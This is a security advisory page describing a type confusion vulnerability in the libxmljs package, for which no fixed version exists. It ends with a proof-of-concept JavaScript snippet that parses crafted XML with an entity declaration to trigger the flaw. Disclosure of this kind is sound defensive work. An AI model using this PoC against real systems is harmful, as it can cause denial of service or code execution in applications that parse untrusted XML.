Type Confusion Affecting libxmljs package, versions *
Snyk CVSS
Attack Complexity
High
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (9th
percentile)
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Test your applications- Snyk ID SNYK-JS-LIBXMLJS-6807576
- published 3 May 2024
- disclosed 2 May 2024
- credit Uriya Yavnieli
Introduced: 2 May 2024
New CVE-2024-34392 Open this link in a new tabHow to fix?
There is no fixed version for libxmljs.
Overview
libxmljs is a libxml bindings for v8 javascript engine
Affected versions of this package are vulnerable to Type Confusion when parsing a specially crafted XML while invoking the namespaces() function, which invokes _wrap__xmlNode_nsDef_get() function on a grand-child of a node that refers to an entity. An attacker can cause a denial of service or execute arbitrary code by parsing a specially crafted XML document.
PoC
const libxmljs = require('libxmljs');
var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;
t = libxmljs.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true